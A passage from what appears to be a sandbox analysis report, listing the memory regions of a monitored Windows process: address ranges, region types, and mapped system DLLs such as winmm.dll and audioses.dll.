0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7508 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7509 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7510 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7511 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7512 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7513 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7514 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7515 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7516 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7517 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7519 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7520 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7521 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7522 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7523 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7524 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7525 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7526 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7527 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7528 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7529 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7530 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7531 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7532 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7533 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7534 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7536 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7537 start_va = 0x1b190000 end_va = 0x1b19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b190000" filename = "" Region: id = 7538 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 7539 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 7540 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 7541 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7542 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7543 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7544 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7545 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7546 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7547 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7548 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7549 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7550 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7551 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7552 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7553 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7554 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7555 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7556 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7557 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7558 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7559 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7560 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7561 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7562 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7563 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7564 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7566 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7567 start_va = 0x1b190000 end_va = 0x1b19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b190000" filename = "" Region: id = 7568 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7569 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7570 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7571 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7572 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7573 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7574 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7575 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7576 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7577 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7578 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7579 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7580 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7581 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7582 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7584 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7585 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7586 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7587 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7588 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7589 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7590 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7591 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7592 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7593 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7595 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7596 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7597 start_va = 0x1ba70000 end_va = 0x1baaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba70000" filename = "" Region: id = 7598 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7599 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7600 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7601 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7602 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7603 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7604 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7605 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7606 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7607 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7608 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7609 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7610 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7611 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7613 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7614 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7615 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7616 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b110000" filename = "" Region: id = 7617 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7618 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b120000" filename = "" Region: id = 7619 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7620 start_va = 0x1b160000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7621 start_va = 0x1b170000 end_va = 0x1b195fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b170000" filename = "" Region: id = 7622 start_va = 0x1b170000 end_va = 0x1b195fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b170000" filename = "" Region: id = 7623 start_va = 0x1b170000 end_va = 0x1b195fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b170000" filename = "" Region: id = 7624 start_va = 0x1b170000 end_va = 0x1b195fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b170000" filename = "" Region: id = 7625 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 7626 start_va = 0x7ffb19e90000 end_va = 0x7ffb19e9afff monitored = 0 entry_point = 0x7ffb19e91de0 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 7627 start_va = 0x1b170000 end_va = 0x1b170fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b170000" filename = "" Region: id = 7628 start_va = 0x7ffb15980000 end_va = 0x7ffb15999fff monitored = 0 entry_point = 0x7ffb159845a0 region_type = mapped_file name = "esentprf.dll" filename = "\\Windows\\System32\\esentprf.dll" (normalized: "c:\\windows\\system32\\esentprf.dll") Region: id = 7629 start_va = 0x1b180000 end_va = 0x1b180fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b180000" filename = "" Region: id = 7630 start_va = 0x1b190000 end_va = 0x1b193fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b190000" filename = "" Region: id = 7631 start_va = 0x1b970000 end_va = 0x1b9bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b970000" filename = "" Region: id = 7632 start_va = 0x1b9c0000 end_va = 0x1ba0dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 7638 start_va = 0x1b190000 end_va = 0x1b19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b190000" filename = "" Region: id = 7639 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 7640 start_va = 0x7ffb1af70000 end_va = 0x7ffb1af92fff monitored = 0 entry_point = 0x7ffb1af73670 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 7641 start_va = 0x7ffb1af40000 end_va = 0x7ffb1af6bfff monitored = 0 entry_point = 0x7ffb1af48210 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 7642 start_va = 0x7ffb157c0000 end_va = 0x7ffb1582ffff monitored = 0 entry_point = 0x7ffb157e2960 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 7643 start_va = 0x7ffb1b210000 end_va = 0x7ffb1b236fff monitored = 0 entry_point = 0x7ffb1b217940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 7644 start_va = 0x7ffb13d20000 end_va = 0x7ffb13d61fff monitored = 0 entry_point = 0x7ffb13d28290 region_type = mapped_file name = "wdmaud.drv" filename = "\\Windows\\System32\\wdmaud.drv" (normalized: "c:\\windows\\system32\\wdmaud.drv") Region: id = 7645 start_va = 0x7ffb1aec0000 end_va = 0x7ffb1aec7fff monitored = 0 entry_point = 0x7ffb1aec12b0 region_type = mapped_file name = "ksuser.dll" filename = "\\Windows\\System32\\ksuser.dll" (normalized: "c:\\windows\\system32\\ksuser.dll") Region: id = 7646 start_va = 0x7ffb198f0000 end_va = 0x7ffb198fafff monitored = 0 entry_point = 0x7ffb198f1650 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 7647 start_va = 0x1b190000 end_va = 0x1b190fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wdmaud.drv.mui" filename = "\\Windows\\System32\\en-US\\wdmaud.drv.mui" (normalized: "c:\\windows\\system32\\en-us\\wdmaud.drv.mui") Region: id = 7648 start_va = 0x1b1a0000 end_va = 0x1b1a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mmdevapi.dll.mui" filename = "\\Windows\\System32\\en-US\\MMDevAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mmdevapi.dll.mui") Region: id = 7649 start_va = 0x7ffb0a300000 end_va = 0x7ffb0a387fff monitored = 0 entry_point = 0x7ffb0a314510 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 7650 start_va = 0x7ffb14f10000 end_va = 0x7ffb14f1bfff monitored = 0 entry_point = 0x7ffb14f14620 region_type = mapped_file name = "msacm32.drv" filename = "\\Windows\\System32\\msacm32.drv" (normalized: "c:\\windows\\system32\\msacm32.drv") Region: id = 7651 start_va = 0x7ffb145c0000 end_va = 0x7ffb145dbfff monitored = 0 entry_point = 0x7ffb145c31d0 region_type = mapped_file name = "msacm32.dll" filename = "\\Windows\\System32\\msacm32.dll" (normalized: "c:\\windows\\system32\\msacm32.dll") Region: id = 7652 start_va = 0x7ffb14f00000 end_va = 0x7ffb14f09fff monitored = 0 entry_point = 0x7ffb14f01790 region_type = mapped_file name = "midimap.dll" filename = "\\Windows\\System32\\midimap.dll" (normalized: "c:\\windows\\system32\\midimap.dll") Region: id = 7653 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 7654 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 7655 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 7656 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 7657 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 7658 start_va = 0x1b110000 end_va = 0x1b12dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7659 start_va = 0x1e400000 end_va = 0x1ebfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001e400000" filename = "" Region: id = 7660 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7661 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7662 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7663 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7664 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7665 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7666 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7667 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7668 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7669 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7670 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7671 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7672 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7673 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7674 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7675 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7676 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7677 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7678 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7679 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7680 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7681 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7682 start_va = 0x1b160000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b160000" filename = "" Region: id = 7683 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7684 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7685 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7686 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7687 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7688 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7689 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7690 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = 